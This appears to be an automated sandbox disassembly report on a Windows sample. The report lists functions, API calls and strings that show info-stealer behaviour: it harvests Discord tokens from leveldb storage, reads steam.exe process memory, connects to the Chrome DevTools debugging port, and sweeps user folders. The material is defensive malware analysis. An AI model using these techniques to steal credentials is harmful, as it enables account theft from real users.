Download Yara Rule

APIs

Part of subcall function 00402400: memmove.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040246E

strlen.MSVCRT ref: 004157D3
memcmp.MSVCRT(00000000,00000000,00000000,00000001), ref: 00415811
strlen.MSVCRT ref: 0041586B
memcmp.MSVCRT(00000000,00000000,00000000,0042113D,00000002,?,?,?,00000001), ref: 0041589C
??3@YAXPAX@Z.MSVCRT(00000000,0042113D,00000002,?,?,?,00000001), ref: 004158FF

Strings

C:\ProgramData\, xrefs: 00415993
\Discord\tokens.txt, xrefs: 00415AE3
Soft, xrefs: 00415AD7
\Local Storage\leveldb, xrefs: 00415CA9
%s\*, xrefs: 00415733
%s\%s, xrefs: 0041596D
\Local Storage\leveldb\CURRENT, xrefs: 00415C93
5]A, xrefs: 00415B8A, 00415A96
\discord\, xrefs: 00415C42

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memcmpstrlen$??3@memmove
String ID: %s\%s$%s\*$5]A$C:\ProgramData\$Soft$\Discord\tokens.txt$\Local Storage\leveldb$\Local Storage\leveldb\CURRENT$\discord\
API String ID: 429537097-599946814
Opcode ID: 22d85e5231fd5c98588da4317bc2df92ddf919f1e503bb07a89fd0dcdb54fc31
Instruction ID: 81ee40a3975c9a922aef849e5e8a3abd7cc697fd74e0cd7b6c267da97902711e
Opcode Fuzzy Hash: 22d85e5231fd5c98588da4317bc2df92ddf919f1e503bb07a89fd0dcdb54fc31
Instruction Fuzzy Hash: 4502D571900618ABCB10EBB1CD85AEEB779BF48304F44015EF606A7151DB7CBAC5CBA9

Function 0041D0C0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 67stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,00010000,?,0041DE17,?), ref: 0041D0C8
StrCmpCA.SHLWAPI(?,00420BC0), ref: 0041D0FD
StrCmpCA.SHLWAPI(?,.zip), ref: 0041D10F
StrCmpCA.SHLWAPI(?,.zoo), ref: 0041D11F
StrCmpCA.SHLWAPI(?,.arc), ref: 0041D12F
StrCmpCA.SHLWAPI(?,.lzh), ref: 0041D13F
StrCmpCA.SHLWAPI(?,.arj), ref: 0041D14F
StrCmpCA.SHLWAPI(?,.gz), ref: 0041D15F
StrCmpCA.SHLWAPI(?,.tgz), ref: 0041D16F

Strings

.lzh, xrefs: 0041D139
.zip, xrefs: 0041D109
.arc, xrefs: 0041D129
.arj, xrefs: 0041D149
.tgz, xrefs: 0041D169
.zoo, xrefs: 0041D119
.gz, xrefs: 0041D159

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: d2ea6202fed2a5655530ec6aaa809bab873c2cffd268538dd471dddcc126d90b
Instruction ID: 393e261fe4cb7b69f2f042267bc96a23e416e0ea17d9edbe6cd76d0812bafa5d
Opcode Fuzzy Hash: d2ea6202fed2a5655530ec6aaa809bab873c2cffd268538dd471dddcc126d90b
Instruction Fuzzy Hash: 4C11BFB0B416227B9B325B745C48FEB6BE8AF15B40B990037F401E2171EB5CD8C286AD

Function 00401090 Relevance: 27.1, APIs: 18, Instructions: 77stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004010A8
memset.MSVCRT ref: 004010BA
lstrcatA.KERNEL32(?,00420C52), ref: 004010CE
lstrcatA.KERNEL32(?,00420F55), ref: 004010D6
lstrcatA.KERNEL32(?,00420C48), ref: 004010DE
lstrcatA.KERNEL32(?,00420FB1), ref: 004010E6
lstrcatA.KERNEL32(?,00420C18), ref: 004010EE
lstrcatA.KERNEL32(?,00420C52), ref: 004010F6
lstrcatA.KERNEL32(?,00420C50), ref: 004010FE
lstrcatA.KERNEL32(?,0042035D,?,00420C50), ref: 00401106
lstrcatA.KERNEL32(?,0042060F,?,0042035D,?,00420C50), ref: 0040110E
lstrcatA.KERNEL32(?,00420449,?,0042060F,?,0042035D,?,00420C50), ref: 00401116
lstrcatA.KERNEL32(?,00420C67,?,00420449,?,0042060F,?,0042035D,?,00420C50), ref: 0040111E
lstrcatA.KERNEL32(?,0042035D,?,00420C67,?,00420449,?,0042060F,?,0042035D,?,00420C50), ref: 00401126
lstrcatA.KERNEL32(?,0042095F,?,0042035D,?,00420C67,?,00420449,?,0042060F,?,0042035D,?,00420C50), ref: 0040112E

Part of subcall function 004108E0: GetProcessHeap.KERNEL32(00000000,?,00401135,?,0042095F,?,0042035D,?,00420C67,?,00420449,?,0042060F,?,0042035D), ref: 004108E2
Part of subcall function 004108E0: HeapAlloc.KERNEL32(00000000,00000000,00000104,?,00401135,?,0042095F,?,0042035D,?,00420C67,?,00420449,?,0042060F), ref: 004108F0
Part of subcall function 004108E0: GetComputerNameA.KERNEL32(00000000), ref: 00410903

strcmp.MSVCRT ref: 00401137

Part of subcall function 004108B0: GetProcessHeap.KERNEL32(00000000,?,00401148,?,00420C50), ref: 004108B2
Part of subcall function 004108B0: HeapAlloc.KERNEL32(00000000,00000000,00000104,?,00401148,?,00420C50), ref: 004108C0
Part of subcall function 004108B0: GetUserNameA.ADVAPI32(00000000), ref: 004108D3

strcmp.MSVCRT ref: 0040114A
ExitProcess.KERNEL32 ref: 00401162

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$Process$AllocNamememsetstrcmp$ComputerExitUser
String ID:
API String ID: 2002865342-0
Opcode ID: d711198b1f504583e68a46c82701488b5e9e546d10a23a30cfae441c6611febe
Instruction ID: 34afd6592ec8d0e6f1858942ae0d643bae2899fd03f8c159827732ad67307064
Opcode Fuzzy Hash: d711198b1f504583e68a46c82701488b5e9e546d10a23a30cfae441c6611febe
Instruction Fuzzy Hash: A8113CA57813283AE12132223DC7FBF159C9F92BD9F90012AFA04740C3AA9DDD4650FE

Function 00412E50 Relevance: 26.7, APIs: 4, Strings: 11, Instructions: 424stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00412E74
strtok_s.MSVCRT ref: 00412EC4

Strings

%DESKTOP%, xrefs: 004130A1
%DOCUMENTS%, xrefs: 00413151
%PROGRAMFILES%, xrefs: 0041317D
%APPDATA%, xrefs: 004130CD
|, xrefs: 00412E5B
%PROGRAMFILES_86%, xrefs: 004131A9
%LOCALAPPDATA%, xrefs: 004130F9
false, xrefs: 00413277
%USERPROFILE%, xrefs: 00413125
true, xrefs: 00413262
%RECENT%, xrefs: 004131D5

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: %APPDATA%$%DESKTOP%$%DOCUMENTS%$%LOCALAPPDATA%$%PROGRAMFILES%$%PROGRAMFILES_86%$%RECENT%$%USERPROFILE%$false$true$|
API String ID: 3330995566-2422389115
Opcode ID: a114e8b074fab81b471b136f835b17f48d344ad7e93d13b1cd96e526f6e09b3c
Instruction ID: af6f1e03352f6f9f1d8fae1c75086c49a28638e44c42a35a98b4b473fe3f47e4
Opcode Fuzzy Hash: a114e8b074fab81b471b136f835b17f48d344ad7e93d13b1cd96e526f6e09b3c
Instruction Fuzzy Hash: D1E1AF70204308AFD324AF25D895FABB3A9BB44344F04445EFD179B292DB7CE985CB69

Function 00412F60 Relevance: 24.9, APIs: 3, Strings: 11, Instructions: 374stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00412F88
strtok_s.MSVCRT ref: 0041301C

Strings

|, xrefs: 00412F71
%DESKTOP%, xrefs: 004130A1
%DOCUMENTS%, xrefs: 00413151
%PROGRAMFILES%, xrefs: 0041317D
%APPDATA%, xrefs: 004130CD
%PROGRAMFILES_86%, xrefs: 004131A9
%LOCALAPPDATA%, xrefs: 004130F9
false, xrefs: 00413277
%USERPROFILE%, xrefs: 00413125
true, xrefs: 00413262
%RECENT%, xrefs: 004131D5

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: %APPDATA%$%DESKTOP%$%DOCUMENTS%$%LOCALAPPDATA%$%PROGRAMFILES%$%PROGRAMFILES_86%$%RECENT%$%USERPROFILE%$false$true$|
API String ID: 3330995566-2422389115
Opcode ID: 72196c04082e31b8d357e3bc8e2834d2b1c11cdb15e9b60cc411853a91ef1fe6
Instruction ID: f18559b84add82ea06590c7feb2660792e730a2b0798f24fd2155c98f040b140
Opcode Fuzzy Hash: 72196c04082e31b8d357e3bc8e2834d2b1c11cdb15e9b60cc411853a91ef1fe6
Instruction Fuzzy Hash: 91C1AF70604308AFD214AF25DC95FABB3A9BB44348F00445EFD179B292DB7CA985CB69

Function 0041D190 Relevance: 18.2, APIs: 12, Instructions: 179filetimeCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041D1A1
GetFileSize.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041D1E5
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0041D200
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0041D21B
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0041D224
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041D235
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0041D254
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041D265
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041D2E6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041D305
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041D321
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041D346

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: File$PointerReadUnothrow_t@std@@@__ehfuncinfo$??2@$Time$HandleInformationSizeSystem
String ID:
API String ID: 3339682767-0
Opcode ID: a12afba9e78c32b077de29fc2bf2f4a56658124f83e00c1daa060bbe9636f390
Instruction ID: 7dc5ab211660f74088cffd7409125a6117dcca4ff2d4ad636a370f5fe0998741
Opcode Fuzzy Hash: a12afba9e78c32b077de29fc2bf2f4a56658124f83e00c1daa060bbe9636f390
Instruction Fuzzy Hash: 1051F1B1604705AFE3208F15CC91B6BB7E8FB84744F10492DF595AB290D778E881CB59

Function 00406BC0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 115stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00404EA0: memcpy.MSVCRT(00000000,00000000,?,00000000,http://localhost:,00000011), ref: 00404FDC
Part of subcall function 00404EA0: memcpy.MSVCRT(00000000,00000000,?,00000000,http://localhost:,00000011), ref: 00405045

??3@YAXPAX@Z.MSVCRT(?,?,00002407), ref: 00406F38

Part of subcall function 00402400: memmove.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040246E

Part of subcall function 004053F0: strlen.MSVCRT ref: 00405409
Part of subcall function 004053F0: memchr.MSVCRT ref: 00405456
Part of subcall function 004053F0: memcmp.MSVCRT(00000000,?,00000000), ref: 0040546E

Part of subcall function 0040ED20: memcpy.MSVCRT(00000000,?,0000000F,00000000,-00000001,?,00000000,0040D171,00000000,00000002,000000FF,?,00000000), ref: 0040EDD8

memset.MSVCRT ref: 00406C44
lstrcatA.KERNEL32(00000009,ws://localhost:9223,00000009,?,00002407), ref: 00406C58
lstrcatA.KERNEL32(00000009,00000000), ref: 00406C65

Strings

localhost, xrefs: 00406BFE
ws://localhost:9223, xrefs: 00406C52
/devtools, xrefs: 00406C0C

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memcpy$lstrcat$??3@memchrmemcmpmemmovememsetstrlen
String ID: /devtools$localhost$ws://localhost:9223
API String ID: 3722098227-2676143373
Opcode ID: d6df93589ec94bd32190cbd0c7d779cd049acc16d756cf596e2cae93c0837182
Instruction ID: 91c73b424bc1f2f560fb80e69d34ff2093765c111021dba20f9d1d410260af79
Opcode Fuzzy Hash: d6df93589ec94bd32190cbd0c7d779cd049acc16d756cf596e2cae93c0837182
Instruction Fuzzy Hash: 8731C9719002185BEB14AB65DC49BEFB775AF41308F41006EF506772C2DB7C1A85CBA9

Function 0040F9B0 Relevance: 10.8, APIs: 7, Instructions: 265stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0040F9BC
??_U@YAPAXI@Z.MSVCRT ref: 0040F9DE

Part of subcall function 0040F890: strlen.MSVCRT ref: 0040F899
Part of subcall function 0040F890: strlen.MSVCRT ref: 0040F8D6

memset.MSVCRT ref: 0040F9FE
VirtualQueryEx.KERNEL32(?,?,?,0000001C,?,?,00000000), ref: 0040FAA0
ReadProcessMemory.KERNEL32(?,?,?,00064000,00000000,?,?,00000000), ref: 0040FB5E

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtualmemset
String ID:
API String ID: 3741619940-0
Opcode ID: 7d80f05e3eb858268aefd1387b3df29b4f95f1701483d4e33ac9b7678e618b59
Instruction ID: 5f3e5458c0cb4e82bdfb47d3dacbfc32efe29669a25e4631f25e2303d30cacff
Opcode Fuzzy Hash: 7d80f05e3eb858268aefd1387b3df29b4f95f1701483d4e33ac9b7678e618b59
Instruction Fuzzy Hash: C0A159716083018BD328DF24D891A3BB7E2FF94704F14893EE58697791E738E849CB5A

Function 0041D590 Relevance: 9.1, APIs: 6, Instructions: 118timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0041D5E3
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?), ref: 0041D611
GetLocalTime.KERNEL32(?), ref: 0041D647
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041D653
FileTimeToSystemTime.KERNEL32(?,?), ref: 0041D66F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041D6D8

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Time$File$PointerSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3240274019-0
Opcode ID: bbcc28ab56e80f32c9f7ab3c82fd0820beba7326b7d26195747d188f513748ab
Instruction ID: 199ab82a49c152330d2498684869e6748a8235d6c4fc3d2a3f6766ec5b303acd
Opcode Fuzzy Hash: bbcc28ab56e80f32c9f7ab3c82fd0820beba7326b7d26195747d188f513748ab
Instruction Fuzzy Hash: E8410EB1904705AED324CF25C845B7BBBE8FF84348F108A2EF5D69A291E774E486CB14

Function 00402520 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00000000,?,?,00000000,string too long,004024F6,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040257A
??2@YAPAXI@Z.MSVCRT(?,00000000,?,?,00000000,string too long,004024F6,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040258E
memcpy.MSVCRT(00000000,?,?,00000000,?,?,00000000,string too long,004024F6,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 004025AD
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,00000000,string too long,004024F6,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 004025E7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,00000000,string too long,004024F6,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 00402608
Concurrency::cancel_current_task.LIBCPMT ref: 0040260D

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: ??2@$??3@Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmemcpy
String ID:
API String ID: 3928403917-0
Opcode ID: e7e14c953d7065ddfbc83dcc624144d79b7d133a95972969d59e1279a8bc6929
Instruction ID: 52b5ec612f7533a417f76914090347e108d7196820fc58126e476e1f6b56743e
Opcode Fuzzy Hash: e7e14c953d7065ddfbc83dcc624144d79b7d133a95972969d59e1279a8bc6929
Instruction Fuzzy Hash: 152107B26006011BCB24AE7D9E9842FB7E9DF953107150B3FF452D77C1E6B9D884829D

Function 004153A0 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 252COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004153BA
memset.MSVCRT ref: 004153D0

Part of subcall function 00411520: GetFileAttributesA.KERNEL32(00000000,?,?,?,0040B1C7,?,?,0000001C,0042150A), ref: 00411535

Part of subcall function 004078F0: lstrlenA.KERNEL32(00000000,-00000010,0041FE20,?,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040796B

Part of subcall function 004076B0: CreateFileA.KERNEL32 ref: 004076EE
Part of subcall function 004076B0: LocalAlloc.KERNEL32(00000040,003694E8), ref: 00407723
Part of subcall function 004076B0: ReadFile.KERNEL32(00000000,A075FFA4,003694E8,?,00000000), ref: 00407744

Part of subcall function 00407790: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0040402F,00000000,?,?,?,?,?,?,?), ref: 0040779E

Strings

Local State, xrefs: 00415429
dQw4w9WgXcQ, xrefs: 0041552F
\discord\, xrefs: 0041540F

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: File$lstrlenmemset$AllocAttributesCreateLocalRead
String ID: Local State$\discord\$dQw4w9WgXcQ
API String ID: 3104403827-2067953968
Opcode ID: 6f24543061e9ffb537914b6143e98d0867b4802166f338fab7a1659ffba852b0
Instruction ID: 194099574810176e2e4ab308ae0ea84b9e6f71d167dd19124bd853461179d086
Opcode Fuzzy Hash: 6f24543061e9ffb537914b6143e98d0867b4802166f338fab7a1659ffba852b0
Instruction Fuzzy Hash: 8EA17F71D007099BDB10EFB5CC85AEEB7B8FF48304F00455AF905A7152EB78AA85CBA5

Function 004132F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413335
strtok_s.MSVCRT ref: 00413364

Strings

block, xrefs: 0041330F
|, xrefs: 004132FB

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: block$|
API String ID: 3330995566-542838162
Opcode ID: ecc07da542351b61a2a8a4774e87802483488a317800a8c08075238e61b330b3
Instruction ID: ce61686c9be415db56d3220093c378b95acedfbe19f9b6f22c8a3ac929646854
Opcode Fuzzy Hash: ecc07da542351b61a2a8a4774e87802483488a317800a8c08075238e61b330b3
Instruction Fuzzy Hash: 03516FB0308708AFD7209F26D849B9BB7A9FB1174AF10440BEC1397290DB7DD6C58A5D

Function 0040F780 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00402400: memmove.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040246E

memchr.MSVCRT ref: 0040F7F6
??3@YAXPAX@Z.MSVCRT(00000000,?,00000000,FFFFFFFF,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.,00000041,?,?,?,?,?,?,?,00000000), ref: 0040F870
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000000,FFFFFFFF,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.,00000041,?,?,?,?,?,?,?,00000000), ref: 0040F884

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_., xrefs: 0040F7A8

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: ??3@_invalid_parameter_noinfo_noreturnmemchrmemmove
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.
API String ID: 1808541760-3714209346
Opcode ID: 2e741561981e289a51148b6f99af6e0fc96081143b174a70ad3d1b80647f697e
Instruction ID: e5761b3670b8c8960a25c8c0341e9f71b1cf11a4bb1c116d5b70eba03c88b707
Opcode Fuzzy Hash: 2e741561981e289a51148b6f99af6e0fc96081143b174a70ad3d1b80647f697e
Instruction Fuzzy Hash: 9931E4326043014BD734EE28998476BB6E5EF81314F54493EF8926B7C2D378DC48879A

Function 00411D20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00411D72
HeapAlloc.KERNEL32(00000000,00000000,000000FA), ref: 00411D80
wsprintfW.USER32 ref: 00411D8F

Strings

%hs, xrefs: 00411D89

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: bfd91a03897fc7cdf9307d1a4434efb42ed2110cc448090386432cb08c4c10e8
Instruction ID: 5d8af7fbd58c0c14971e09abe29c4d5a15048916ed38c030ba04a2c092a42a15
Opcode Fuzzy Hash: bfd91a03897fc7cdf9307d1a4434efb42ed2110cc448090386432cb08c4c10e8
Instruction Fuzzy Hash: E731C130608341ABD3109F60ED48BAFB7E9EFD5744F00591EF985821A0EB7499C4CA5B

Function 00410050 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411ED0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00411EE5
Part of subcall function 00411ED0: Process32First.KERNEL32(00000000,?), ref: 00411EF1
Part of subcall function 00411ED0: Process32Next.KERNEL32(00000000,?), ref: 00411F12

Part of subcall function 0040FD50: ??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0040FD6D
Part of subcall function 0040FD50: OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0040FD94
Part of subcall function 0040FD50: memset.MSVCRT ref: 0040FDB3
Part of subcall function 0040FD50: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 0040FDF1
Part of subcall function 0040FD50: ReadProcessMemory.KERNEL32(00000000,00000000,?,00000208,00000000,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73,-00000208,?,FFFFFFFF,00000FFF,?,?), ref: 0040FE56
Part of subcall function 0040FD50: strlen.MSVCRT ref: 0040FE67

??_U@YAPAXI@Z.MSVCRT(?,?,00000000,steam.exe), ref: 00410070
strcpy.MSVCRT(00000000,?,steam.exe), ref: 00410089
??3@YAXPAX@Z.MSVCRT(?,?,?,steam.exe), ref: 004100BF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,steam.exe), ref: 004100D1

Strings

steam.exe, xrefs: 00410057

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: ??3@ProcessProcess32$CreateFirstMemoryNextOpenReadSnapshotToolhelp32_invalid_parameter_noinfo_noreturnmemsetstrcpystrlen
String ID: steam.exe
API String ID: 3498801153-2826358650
Opcode ID: a2f9b2e369386f85e83ddeaa877c3ddd3aa875f1337813b5b8a957473dbf5942
Instruction ID: c95efb34c5d0572b28db4c51e5027ad35194888a113b08cfb57a14cf0263e5e6
Opcode Fuzzy Hash: a2f9b2e369386f85e83ddeaa877c3ddd3aa875f1337813b5b8a957473dbf5942
Instruction Fuzzy Hash: F4F0F9B1A003082BEA10753A7CC5AFB7948DA55758F040537FD5597342F59B8CD402BA

Function 0041D710 Relevance: 6.1, APIs: 4, Instructions: 82timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0041D784
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041D78E
